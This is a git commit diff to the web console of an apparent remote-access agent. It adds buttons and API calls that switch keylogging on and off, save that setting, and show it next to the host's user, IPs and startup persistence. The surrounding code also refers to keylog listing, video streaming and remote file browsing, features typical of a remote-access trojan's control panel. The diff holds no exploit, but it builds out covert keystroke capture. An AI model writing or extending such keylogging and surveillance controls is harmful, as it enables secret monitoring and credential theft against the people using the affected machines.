feat(agent): add persistent klogging settings

- Add settings API and UI to toggle keylog
- Persist preference in settings.json
- Expose klogging state in status endpoint
- Inject build version into web console
- Bump version automatically on build
This commit is contained in:
2026-09-01 23:36:39 +03:00
parent a3c78820ed
commit ac31e52a8c
13 changed files with 329 additions and 14 deletions
+41
View File
@@ -15,6 +15,9 @@
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const keylogState = document.getElementById("keylog-state");
const keylogEnable = document.getElementById("keylog-enable");
const keylogDisable = document.getElementById("keylog-disable");
const videoCanvas = document.getElementById("video-canvas");
const videoMeta = document.getElementById("video-meta");
const videoStart = document.getElementById("video-start");
@@ -118,6 +121,10 @@
async function loadStatus() {
const res = await api("/api/v1/status");
const data = await res.json();
const verEl = document.getElementById("app-version");
if (verEl && data.agent_version) {
verEl.textContent = data.agent_version;
}
const fields = [
["Hostname", data.hostname],
["User", data.user],
@@ -128,10 +135,12 @@
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
["klogging", data.klogging ? "on" : "off"],
];
setStartup(Boolean(data.startup_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
loadSettings().catch((err) => showError(err.message));
statusFields.replaceChildren(
...fields.map(([label, value]) => {
const item = document.createElement("div");
@@ -303,6 +312,29 @@
startupRemove.disabled = !enabled;
}
function setKeylog(enabled) {
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
keylogEnable.disabled = enabled;
keylogDisable.disabled = !enabled;
}
async function loadSettings() {
const res = await api("/api/v1/settings");
const data = await res.json();
setKeylog(Boolean(data.klogging));
}
async function setKeylogEnabled(enabled) {
const res = await api("/api/v1/settings", {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ klogging: enabled }),
});
const data = await res.json();
setKeylog(Boolean(data.klogging));
loadStatus().catch((err) => showError(err.message));
}
async function setStartupEnabled(enabled) {
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
@@ -682,6 +714,9 @@
if (button.dataset.tab === "logs") {
listKeylogs().catch((err) => showError(err.message));
}
if (button.dataset.tab === "settings") {
loadSettings().catch((err) => showError(err.message));
}
});
});
@@ -694,6 +729,12 @@
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
keylogEnable.addEventListener("click", () => {
setKeylogEnabled(true).catch((err) => showError(err.message));
});
keylogDisable.addEventListener("click", () => {
setKeylogEnabled(false).catch((err) => showError(err.message));
});
document.getElementById("file-list").addEventListener("click", () => {
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
});